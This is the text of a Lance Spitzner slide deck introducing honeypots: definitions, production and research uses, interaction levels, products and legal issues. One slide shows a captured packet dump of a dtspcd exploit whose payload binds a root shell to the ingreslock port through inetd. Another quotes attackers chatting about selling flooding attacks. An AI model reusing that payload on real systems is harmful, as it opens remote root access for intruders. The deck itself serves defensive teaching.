Honeypots

Your Speaker
Lance Spitzner
Senior Security Architect, Sun Microsystems Founder of the Honeynet Project Author of Honeypots: Tracking Hackers Co-author of Know Your Enemy Moderator of <honeypots@securityfocus.com> maillist Former tread head.

Purpose
To introduce you to honeypots, what they are, how they work, their value.

Problem
Variety of misconceptions about honeypots, everyone has their own definition. This confusion has caused lack of understanding, and adoption.

Honeypot Timeline
1990/1991 The Cuckoos Egg and Evening with Berferd 1997 - Deception Toolkit 1998 - CyberCop Sting 1998 - NetFacade (and Snort) 1998 - BackOfficer Friendly 1999 - Formation of the Honeynet Project 2001 - Worms captured 2002 - dtspcd exploit capture

Definition

Any security resource whos value lies in being probed, attacked, or compromised

How honeypots work

Simple concept A resource that expects no data, so any traffic to or from it is most likely unauthorized activity

Not limited to specific purpose

Honeypots do not solve a specific problem, instead they are a tool that contribute to your overall security architecture. Their value, and the problems they help solve, depend on how build, deploy, and you use them.

Types
Production (Law Enforcment) Research (Counter-Intelligence)

Martys idea

Value
What is the value of honeypots? One of the greatest areas of confusion concerning honeypot technologies.

Advantages
Based on how honeypots conceptually work, they have several advantages.
Reduce False Positives and False Negatives Data Value Resources Simplicity

Disadvantages
Based on the concept of honeypots, they also have disadvantages:
Narrow Field of View Fingerprinting Risk

Production
Prevention Detection Response

Prevention
Keeping the burglar out of your house. Honeypots, in general are not effective prevention mechanisms. Deception, Deterence, Decoys, are phsychological weapons. They do NOT work against automated attacks:
worms auto-rooters mass-rooters

Detection
Detecting the burglar when he breaks in. Honeypots excel at this capability, due to their advantages.

Response
Honeypots can be used to help respond to an incident.
Can easily be pulled offline (unlike production systems. Little to no data pollution.

Research Honeypots
Early Warning and Prediction Discover new Tools and Tactics Understand Motives, Behavior, and Organization Develop Analysis and Forensic Skills

Early Warning and Prediction

Tools
01/08-08:46:04.378306 10.10.10.1:3592 -> 10.10.10.2:6112 TCP TTL:48 TOS:0x0 ID:41388 IpLen:20 DgmLen:1500 DF ***AP*** Seq: 0xFEE2C115 Ack: 0x5F66192F Win: 0x3EBC TcpLen: 32 TCP Options (3) => NOP NOP TS: 463986683 4158792 30 30 30 30 30 30 30 32 30 34 31 30 33 65 30 30 0000000204103e00 30 31 20 20 34 20 00 00 00 31 30 00 80 1C 40 11 01 4 ...10...@. 80 1C 40 11 10 80 01 01 80 1C 40 11 80 1C 40 11 ..@.......@...@. 80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 ..@...@...@...@. D0 23 FF E0 E2 23 FF E4 E4 23 FF E8 C0 23 FF EC .#...#...#...#.. 82 10 20 0B 91 D0 20 08 2F 62 69 6E 2F 6B 73 68 .. ... ./bin/ksh 20 20 20 20 2D 63 20 20 65 63 68 6F 20 22 69 6E -c echo "in 67 72 65 73 6C 6F 63 6B 20 73 74 72 65 61 6D 20 greslock stream 74 63 70 20 6E 6F 77 61 69 74 20 72 6F 6F 74 20 tcp nowait root 2F 62 69 6E 2F 73 68 20 73 68 20 2D 69 22 3E 2F /bin/sh sh -i">/ 74 6D 70 2F 78 3B 2F 75 73 72 2F 73 62 69 6E 2F tmp/x;/usr/sbin/ 69 6E 65 74 64 20 2D 73 20 2F 74 6D 70 2F 78 3B inetd -s /tmp/x; 73 6C 65 65 70 20 31 30 3B 2F 62 69 6E 2F 72 6D sleep 10;/bin/rm 20 2D 66 20 2F 74 6D 70 2F 78 20 41 41 41 41 41 -f /tmp/x AAAAA 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Tactics

Motives and Behavior

J4ck: why don't you start charging for packet attacks? J4ck: "give me x amount and I'll take bla bla offline for this amount of time" J1LL: it was illegal last I checked. J4ck: heh, then everything you do is illegal. Why not make money off of it? J4ck: I know plenty of people that'd pay exorbatent amounts for packeting.

Level of Interaction
Level of Interaction determines amount of functionality a honeypot provides. The greater the interaction, the more you can learn. The greater the interaction, the more complexity and risk.

Risk
Chance that an attacker can use your honeypot to harm, attack, or infiltrate other systems or organizations.

Low Interaction
Provide Emulated Services No operating system for attacker to access. Information limited to transactional information and attackers activities with emulated services.

High Interaction
Provide Actual Operating Systems Learn extensive amounts of information. Extensive risk.

Honeypots
BackOfficer Friendly
http://www.nfr.com/products/bof/

SPECTER
http://www.specter.com

Low Interaction

Honeyd
http://www.citi.umich.edu/u/provos/honeyd/

ManTrap
http://www.recourse.com

Honeynets
http://project.honeynet.org/papers/honeynet/

High Interaction

BackOfficer Friendly

Specter

Honeyd
create default set default personality "FreeBSD 2.2.1-STABLE" set default default action open add default tcp port 80 "sh /usr/local/honeyd/scripts/web.sh" add default tcp port 22 "sh /usr/local/honeyd/scripts/test.sh" add default tcp port 113 reset add default tcp port 1 reset

create windows set windows personality "Windows NT 4.0 Server SP5-SP6"

ManTrap

Honeynets

Which is best?

None, they all have their advantages and disadvantages. It depends on what you are attempting to achieve.

Legal Issues
Privacy Entrapment Liability

Legal Contact for .mil / .gov

Department of Justice, Computer Crime and Intellectual Property Section
General Number: (202) 514-1026 Specific Contact: Richard Salgado
Direct Telephone (202) 353-7848 E-Mai: richard.salgado@usdoj.gov

Summary
Honeypos are a highly flexible security tool that can be used in a variety of different deployments.

Resources

Honeypots: Tracking Hackers

http://www.tracking-hackers.com